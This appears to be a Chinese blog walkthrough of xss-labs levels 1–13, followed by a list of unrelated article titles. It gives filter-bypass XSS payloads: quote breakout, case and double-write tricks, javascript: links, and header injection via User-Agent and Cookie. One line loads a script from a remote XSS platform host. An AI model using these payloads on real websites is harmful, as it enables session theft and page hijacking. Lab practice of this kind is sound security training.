xss-labs第1~13关
伪重点
<script>alert(1);</script> //直接嵌入script
<script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script
<input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入script字符串
<a HREF=javascript:alert(1)>aaa</a> //超链接
<a HREF=javascript:alert(1)>aaa</a> //html实体转义
第1关
把test改为<script>alert(1)</script>
直接过关。
第2关
用第一关的方法,不行了。右击鼠标看源码
发现1这个位置的<>
被转码了
但是2这个位置没有,所以可以考虑把2当做输出点
先用">
闭合value标签,再输出弹窗。
"><script>alert(1)</script>
第3关
输入' '' < >
,查看源码,发现两个地方,"<>都被转码
了
但是单引号作为闭合符没有被转码
于是想到了on事件。
'onclick='alert(1)
'onmouseover='alert(1)'
第4关
发现2这个地方,单引号,双引号还在,且双引号是闭合符
所以和第三关一样的做法,用on函数,只是闭合符换成了"
第5关
这一关在测试’ ‘’ < >是否正常显示时,发现都可以。
用第一关的方法试一试。却发现果然没这么简单,script被隔开了
又想到了刚刚的67在文本框的外面出现,所以试试超链接行不行
"> 12<a href="javascript:alert(1)">34</a>
成功
第6关
用前面几关的方法来试,都不行
忽然发现1全是小写,2有大写有小写,想到了大小写绕过
果然成功
"><Script>alert(1)</script>
第7关
这一关也很简单,随便输入<script>alert(1)</script>
试试水,看到script直接就没了,立马就想到了双写绕过
成功
"><scscriptript>alert(1)</scrscriptipt>
第8关
经过尝试,发现添加友情链接后,点击友情链接,就会跳到刚刚添加的友情链接的位置
拿<script>alert(1)</script>
试水,script被过滤了。
试试其他的方法。on事件也被过滤了,大小写也不行。看了看攻略,要用到转义字符
查ASCII表得:s是115
所以用javascript:alert(1)
试试
成功
第9关
用第8关的方式
说链接不合法
想到链接一般都有个http://
或者https://
。
所以在前面加上http://
,这次没有再说链接不合法,但是点击没反应。
这关有点尴尬,不加http://
,链接就不合法;加了http://
,语句结构就不合法。
查看万能的攻略,说应该把http://放在后面,注释掉。
因为后端只检测链接里面包含http://
字段就行,注不注释掉没关系。而注释掉,语句结构就没问题了
javascript:alert(1) //http://
javascript:alert(1) /*http://www.baidu.com*/
第10关
查看源码,<>
被转码了,但是发现三个隐藏的input。
给他们赋值(这应该是叫赋值吧)
看源码,发现只有t_sort有反应
把3
换成" type="text" onmouseover="alert(1)
即http://172.16.11.54/xss-labs/level10.php?keyword=4&t_sort=" type="text" onmouseover="alert(1)
当鼠标经过name="t_sort"的时候,弹出弹窗,过关。
第11关
同样查看源码,发现四个隐藏的文本框
分别赋值,还是只有t_sort有反应
172.16.11.222/xss-labs/level11.php?keyword=good job!&t_link=1&t_history=2&t_sort=3&t_ref=4
那就用第10关的方法
http://172.16.11.222/xss-labs/level11.php?keyword=good job!&t_sort=" type="text" οnmοuseοver="alert(1)
不行,没反应,查看源码,双引号被过滤了
查看攻略说要抓包,我正想参考这个攻略打开burpsuite,按F11的时候,不小心按到了F12。
既然url里面不能操作,那能不能直接在控制台里操作,将type改成text
,加入onmouseover="alert(1)"
。
然后点击出现的文本框,成功弹出弹窗。也不知道这算不算成功过关
第12关
用第10关的方法,同样发现只有t_sort有反应,但是t_ua这里有一串奇怪的东西
用前面的方法都不行,抓包吧。
使用burpsuite抓包的时候,发现t_ua
的value
和user-agent
的值有点像,是不是这里输出的就是user-agent的值呢?
试一下
在user-agent的值后面加上 " type="text" onmouseover="alert(1)"
果然成功
第13关
经过前面几关的学习,看源码,抓包已经成为基本操作了
发现t_cook的值和cookie的值有点意思
于是在cookie后面加上" type="text" onmouseover="alert(1)"
果然成功
- mysql启动后随即关闭问题解决(ibdata1文件损坏导致)
- webvirtmgr-重命名kvm虚拟机的名称
- Lucene 2.0最基本的入门代码
- 网站每日PV/IP统计/总带宽/URL统计脚本分享(依据网站访问日志)
- 查看服务器系统资源(cpu,内容)利用率前几位的进程的方法
- 腾讯云平台部总经理陈磊:大数据背后的技术支撑
- DataSet与Xml相互转化
- SqlTransaction事务使用示例
- nginx的web缓存服务环境部署记录
- nginx反向代理+缓存开启+url重写+负载均衡(带健康探测)的部署记录
- [转自blueidea]像table一样布局div Ⅰ
- 如何对动态创建控件进行验证以及在Ajax环境中的使用
- 升级个人网站框架组件IBatisNet+Castle
- 如何在多线程中调用winform窗体控件
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 【TBase开源版测评】分布式数据库复制表关联查询
- v-decorator的取值与赋值
- fastjson导致spring security oauth2的token序列化错误
- 微信小程序webview,a锚点跳转,回退时一直保留在原页面
- SLURM使用教程
- MIME 类型大全,你值得收藏
- Jetbrains系列---PyCharm, Goland翻译插件推荐Translation
- 熬夜总结了 “HTML5画布” 的知识点(共10条)
- 在PyTorch中使用深度自编码器实现图像重建
- Django+Vue开发生鲜电商平台之9.个人中心功能开发
- Serverless 实战:通过 Component 实现多地域部署容灾
- SQL 行转列+窗口函数的实例
- 回答一下这 10 个最常见的 Javascript 问题
- 千万级数据表选错索引导致的线上慢查询事故
- 递归优化